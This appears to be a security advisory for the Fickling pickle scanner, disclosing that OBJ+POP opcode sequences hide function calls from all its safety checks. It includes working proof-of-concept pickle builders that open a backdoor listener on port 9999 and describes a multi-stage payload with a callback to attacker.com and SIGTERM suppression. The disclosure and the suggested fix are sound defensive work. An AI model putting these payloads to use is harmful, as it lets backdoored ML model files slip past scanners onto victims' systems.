PT-2026-23805 · Pypi · Fickling

Publicado

2026-02-24

·

Atualizado

2026-02-24

CVSS v4.0

8.6

Alta

VetorAV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:P

Assessment

The interpreter so it behaves closer to CPython when dealing with OBJ, NEWOBJ, and NEWOBJ EX opcodes (https://github.com/trailofbits/fickling/commit/ff423dade2bb1f72b2b48586c022fac40cbd9a4a).

Original report

Summary

All 5 of fickling's safety interfaces -- is likely safe(), check safety(), CLI --check-safety, always check safety(), and the check safety() context manager -- report LIKELY SAFE / raise no exceptions for pickle files that use the OBJ opcode to call dangerous stdlib functions (signal handlers, network servers, network connections, file operations). The OBJ opcode's implementation in fickling pushes function calls directly onto the interpreter stack without persisting them to the AST via new variable(). When the result is discarded with POP, the call vanishes from the final AST entirely, making it invisible to all 9 analysis passes.
This is a separate vulnerability from the REDUCE+BUILD bypass, with a different root cause. It survives all three proposed fixes for the REDUCE+BUILD vulnerability.

Details

The vulnerability is a single missing new variable() call in Obj.run() (fickle.py:1333-1350).
REDUCE (fickle.py:1286-1301) correctly persists calls to the AST:
python
# Line 1300: call IS saved to module body
var name = interpreter.new variable(call)
interpreter.stack.append(ast.Name(var name, ast.Load()))
The comment on lines 1296-1299 explicitly states: "if we just save it to the stack, then it might not make it to the final AST unless the stack value is actually used."
OBJ (fickle.py:1333-1350) does exactly what that comment warns against:
python
# Line 1348: call is ONLY on the stack, NOT in module body
interpreter.stack.append(ast.Call(kls, args, []))
When the OBJ result is discarded by POP, the ast.Call is gone. The decompiled AST shows the import but no function call:
python
from smtplib import SMTP  # import present (from STACK GLOBAL)
result = None       # no call to SMTP visible
Yet at runtime, SMTP('127.0.0.1') executes and opens a TCP connection.
NEWOBJ (fickle.py:1411-1420) and NEWOBJ EX (fickle.py:1423-1433) have the same code pattern but are less exploitable since CPython's NEWOBJ calls cls. new () (allocation only) while OBJ calls cls(*args) (full constructor execution with init side effects).

Affected versions

All versions through 0.1.7 (latest as of 2026-02-19).

Affected APIs

  • fickling.is likely safe() - returns True for bypass payloads
  • fickling.analysis.check safety() - returns AnalysisResults with severity = Severity.LIKELY SAFE
  • fickling --check-safety CLI - exits with code 0
  • fickling.always check safety() + pickle.load() - no UnsafeFileError raised, malicious code executes
  • fickling.check safety() context manager + pickle.load() - no UnsafeFileError raised, malicious code executes

PoC

A pickle that opens a TCP connection to an attacker's server via OBJ+POP, yet fickling reports it as LIKELY SAFE:
python
import io, struct

def sbu(s):
  """SHORT BINUNICODE opcode helper."""
  b = s.encode()
  return b"x8c" + struct.pack("<B", len(b)) + b

def make obj pop bypass():
  """
  Pickle that calls smtplib.SMTP('127.0.0.1') at runtime,
  but the call is invisible to fickling.

  Opcode sequence:
    MARK
     STACK GLOBAL 'smtplib' 'SMTP'  (import persisted to AST)
     SHORT BINUNICODE '127.0.0.1'  (argument)
    OBJ                (call SMTP('127.0.0.1'), push result)
                     (ast.Call on stack only, NOT in AST)
    POP                (discard result -> call GONE)
    NONE
    STOP
  """
  buf = io.BytesIO()
  buf.write(b"x80x04x95") # PROTO 4 + FRAME

  payload = io.BytesIO()
  payload.write(b"(")               # MARK
  payload.write(sbu("smtplib") + sbu("SMTP"))   # push module + func strings
  payload.write(b"x93")              # STACK GLOBAL
  payload.write(sbu("127.0.0.1"))          # push argument
  payload.write(b"o")                # OBJ: call SMTP('127.0.0.1')
  payload.write(b"0")                # POP: discard result
  payload.write(b"N.")               # NONE + STOP

  frame data = payload.getvalue()
  buf.write(struct.pack("<Q", len(frame data)))
  buf.write(frame data)
  return buf.getvalue()

import fickling, tempfile, os
data = make obj pop bypass()
path = os.path.join(tempfile.mkdtemp(), "bypass.pkl")
with open(path, "wb") as f:
  f.write(data)

print(fickling.is likely safe(path))
# Output: True <-- BYPASSED (network connection invisible to fickling)
fickling decompiles this to:
python
from smtplib import SMTP
result = None
Yet at runtime, SMTP('127.0.0.1') executes and opens a TCP connection.
CLI verification:
bash
$ fickling --check-safety bypass.pkl; echo "EXIT: $?"
EXIT: 0  # BYPASSED
Comparison with REDUCE (same function, detected):
bash
$ fickling --check-safety reduce smtp.pkl; echo "EXIT: $?"
Warning: Fickling detected that the pickle file may be unsafe.
EXIT: 1  # DETECTED

Backdoor listener PoC (most impactful)

A pickle that opens a TCP listener on port 9999, binding to all interfaces:
python
import io, struct

def sbu(s):
  b = s.encode()
  return b"x8c" + struct.pack("<B", len(b)) + b

def binint(n):
  return b"J" + struct.pack("<i", n)

def make backdoor():
  buf = io.BytesIO()
  buf.write(b"x80x04x95") # PROTO 4 + FRAME

  payload = io.BytesIO()
  # OBJ+POP: TCPServer(('0.0.0.0', 9999), BaseRequestHandler)
  payload.write(b"(")                     # MARK
  payload.write(sbu("socketserver") + sbu("TCPServer") + b"x93") # STACK GLOBAL
  payload.write(b"(")                     # MARK (inner tuple)
  payload.write(sbu("0.0.0.0"))                # host
  payload.write(binint(9999))                 # port
  payload.write(b"t")                     # TUPLE
  payload.write(sbu("socketserver") + sbu("BaseRequestHandler") + b"x93") # handler
  payload.write(b"o")                     # OBJ
  payload.write(b"0")                     # POP
  payload.write(b"N.")                     # NONE + STOP

  frame data = payload.getvalue()
  buf.write(struct.pack("<Q", len(frame data)))
  buf.write(frame data)
  return buf.getvalue()

import fickling
data = make backdoor()
with open("/tmp/backdoor.pkl", "wb") as f:
  f.write(data)

print(fickling.is likely safe("/tmp/backdoor.pkl"))
# Output: True <-- BYPASSED

import pickle, socket
server = pickle.loads(data)
# Port 9999 is now LISTENING on all interfaces

s = socket.socket()
s.connect(("127.0.0.1", 9999))
print("Connected to backdoor port!") # succeeds
s.close()
server.server close()

Multi-stage combined PoC

A single pickle combining signal suppression + backdoor listener + outbound callback + file persistence:
python
# All four operations in one pickle, all invisible to fickling:
# 1. signal.signal(SIGTERM, SIG IGN) - suppress graceful shutdown
# 2. socketserver.TCPServer(('0.0.0.0', 9999), BaseRequestHandler) - backdoor
# 3. smtplib.SMTP('attacker.com') - C2 callback
# 4. sqlite3.connect('/tmp/.marker') - persistence marker

# fickling reports: LIKELY SAFE
# All 4 operations execute at runtime
always check safety() verification:
python
import fickling, pickle

fickling.always check safety()
with open("poc obj multi.pkl", "rb") as f:
  result = pickle.load(f)
# No UnsafeFileError raised -- all 4 malicious operations executed

Impact

An attacker can distribute a malicious pickle file (e.g., a backdoored ML model) that passes all fickling safety checks. Demonstrated impacts:
  • Backdoor network listener: socketserver.TCPServer(('0.0.0.0', 9999), BaseRequestHandler) opens a port on all interfaces. The TCPServer constructor calls server bind() and server activate(), so the port is open immediately after pickle.loads() returns.
  • Process persistence: signal.signal(SIGTERM, SIG IGN) makes the process ignore SIGTERM. In Kubernetes/Docker/ECS, the backdoor stays alive for 30+ seconds per restart attempt.
  • Outbound exfiltration: smtplib.SMTP('attacker.com') opens an outbound TCP connection. The attacker's server learns the victim's IP and hostname.
  • File creation on disk: sqlite3.connect(path) creates a file at an attacker-chosen path.
A single pickle combines all operations. In cloud ML environments, this enables persistent backdoor access while resisting graceful shutdown. This affects any application using fickling as a safety gate for ML model files.
The bypass works for any stdlib module NOT in fickling's UNSAFE IMPORTS blocklist. Blocked modules (os, subprocess, socket, builtins, etc.) are still detected at the import level.

Suggested Fix

Add new variable() to Obj.run() (lines 1348 and 1350), applying the same pattern used by Reduce.run() (line 1300):
python
# fickle.py, Obj.run():
-    if args or hasattr(kls, " getinitargs ") or not isinstance(kls, type):
-      interpreter.stack.append(ast.Call(kls, args, []))
-    else:
-      interpreter.stack.append(ast.Call(kls, kls, []))
+    if args or hasattr(kls, " getinitargs ") or not isinstance(kls, type):
+      call = ast.Call(kls, args, [])
+    else:
+      call = ast.Call(kls, kls, [])
+    var name = interpreter.new variable(call)
+    interpreter.stack.append(ast.Name(var name, ast.Load()))
Also apply to NewObj.run() (line 1414) and NewObjEx.run() (line 1426) for defense in depth.

Correção

Encontrou algum problema na descrição? Tem algo a acrescentar? Fique à vontade para nos escrever 👾

Enumeração de Fraquezas

Identificadores relacionados

GHSA-MXHJ-88FX-4PCV

Produtos afetados

Fickling